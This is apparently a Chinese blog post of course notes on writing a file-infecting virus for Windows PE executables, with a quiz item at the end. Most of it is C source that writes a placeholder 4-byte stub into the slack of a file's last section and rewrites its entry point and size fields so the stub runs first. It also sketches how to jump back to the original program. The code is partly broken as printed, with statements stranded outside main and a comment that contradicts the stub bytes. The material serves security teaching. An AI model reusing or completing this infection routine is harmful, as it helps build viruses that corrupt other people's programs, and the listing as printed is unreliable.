汪道之

有人的地方就有江湖

0%

病毒_Win_末节寄生程序设计

末节大小不变的寄生

需要修改的地方

  1. 填写eb 02 90 90机器码(病毒机器码)
  2. 修改AddressOfEntryPoint
  3. 修改节的VirtualSize
  4. 节的SizeOfRawData不需要修改
  5. 可选映像头SizeOfImage

程序设计

image-20210519091939767

具体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdio.h>
#include <windows.h>
#include <winnt.h>
// 4个字节,放病毒代码 EB 02 09 09
char code[4];
//DOS头字段e_lfanew字段偏移0x3c
#define OFFSET_OPTHDR_START 0x3c
//变量ntHdrs PE文件头(NT头)
IMAGE_NT_HEADERS ntHdrs;


//该函数将文件指针定位到NT头
void locateNTHdrStart(FILE * fp)
{
int hdrStart; //4个字节,放NT头的偏移量
fseek(fp, OFFSET_OPTHDR_START, SEEK_SET); //定位到e_lfanew字段,0x3c位置
fread(&hdrStart, sizeof(hdrStart), 1, fp); //读e_lfanew的值到hdrStart
fseek(fp, hdrStart, SEEK_SET); //定位到NT头
}

//该函数读入整个NT头
void readHdrs(FILE * fp)
{
locateNTHdrStart(fp);
fread(&ntHdrs, sizeof(ntHdrs), 1, fp); //取出一个PE头大小的数据到ntHdrs
}

//该函数生成寄生的病毒代码
void getCode()
{
code[0] = 0xEB;
code[1] = 0x02;
code[2] = 0x90;
code[3] = 0x90;
}


//获得病毒代码以及读文件NT头的主函数
void main(int argC, char ** args)
{
//获得病毒代码
getCode();
//打开命令行参数args[1]给出的文件
FILE * fp;
fp = fopen(args[1], “rb+”);
//读入文件的NT头
readHdrs(fp);
}


//以下代码为找到最后一个节并判断是否有空洞,此时文件指针正好指向节表项起始的位置
// 获得节的数量
int sectionNum = ntHdrs.FileHeader.NumberOfSections; //映像文件头中获得节的总数量
// 定位到最后一个节表项
fseek(fp, sizeof(IMAGE_SECTION_HEADER) * (sectionNum - 1), SEEK_CUR); IMAGE_SECTION_HEADER lastSectionHdr; //winnt.h给出了节表项的结构体
fread(&lastSectionHdr, sizeof(IMAGE_SECTION_HEADER), 1, fp); //读入最后节的节表项
// 判断最后一节是否有寄生的空洞
if (lastSectionHdr.SizeOfRawData - lastSectionHdr.Misc.VirtualSize < 4)
{ //如果最后段的填充部分不够寄生代码的长度,无法寄生,就退出不感染
printf("the last section has not enough space to save virus\n");
return;
}


//修改最后一个节的VirtualSize,在最后一个节写入寄生的病毒代码
//修改最后节的VirtualSize
//之前读了最后一个节表项,重新定位回去
fseek(fp, - sizeof(IMAGE_SECTION_HEADER), SEEK_CUR);
//后移8个字节跳过name字段,定位到VirtualSize字段
fseek(fp, 8, SEEK_CUR);
int newVirtualSize = lastSectionHdr.Misc.VirtualSize + 4; //计算新的VirtualSize的值
fwrite(&newVirtualSize, sizeof(newVirtualSize), 1, fp); //写入新VirutalSize值到文件中

//写入寄生代码
//寄生位置:最后一个节的起始位置PointerToRawData + 原来的VirtualSize
fseek(fp, lastSectionHdr.PointerToRawData + lastSectionHdr.Misc.VirtualSize , SEEK_SET);
fwrite(code, 4, 1, fp); //写4字节的寄生代码


//修改SizeOfImage和EntryPoint
//1. 获取AddressOfEntry和SizeOfImage字段到NT头的偏移量
int offsetEntry = (int)&((IMAGE_NT_HEADERS *)0 )->OptionalHeader.AddressOfEntryPoint;
int offsetImageSize = (int)&((IMAGE_NT_HEADERS *)0 )->OptionalHeader.SizeOfImage;

//2. 修改SizeOfImage (文件指针在NT头)
locateNTHdrStart(fp); //重新定位到NT头
fseek(fp, offsetImageSize, SEEK_CUR); // 定位到字段SizeOfImage
// ( RVA + VirtualSize + 4 / SectionAlignment ) 向上取整
int accurateSize = (lastSectionHdr.VirtualAddress + lastSectionHdr.Misc.VirtualSize + 4);
int pageNum = accurateSize / ntHdrs.OptionalHeader.SectionAlignment;
int imageSize = (pageNum) * ntHdrs.OptionalHeader.SectionAlignment < accurateSize ?
(pageNum + 1) * ntHdrs.OptionalHeader.SectionAlignment : accurateSize; //取上整
// 写入新的SizeOfImage值
fwrite(&imageSize, sizeof(imageSize), 1, fp);

//3. 修改入口点AddressOfEntryPoint
locateNTHdrStart(fp); //重新定位文件指针到NT头
fseek(fp, offsetEntry, SEEK_CUR); //定位到AdressOfEntryPoint字段
// 新的入口RVA = 最后节的起始RVA + 最后节原来的VirtualSize,这样就指向寄生代码起始了
int entry = lastSectionHdr.VirtualAddress + lastSectionHdr.Misc.VirtualSize;
fwrite(&entry, sizeof(entry), 1, fp); //写新的入口RVA
fclose(fp);

返回原始程序

在病毒代码最后增加JMP xx xx xx xx

位移量如何计算?

image-20210519093251556

例题

  1. 将病毒寄生在末节空洞的程序设计中,下列说法不正确的是( )
    A. <windows.h>和<winnt.h>提供了PE文件头相关的结构体定义
    B. 病毒程序想访问AddressOfEntryPoint时,可以先将NT头信息由文件读到相应的结构体变量中
    C. 病毒程序需要生成寄生到原文件的病毒代码
    D. 寄生完成后,病毒程序需要修改结构体变量中的成员virtualSize和imageSize来确保寄生的病毒代码被加载到内存

参考答案:D

解析:病毒程序没有修改结构体变量中的成员,而是直接更改文件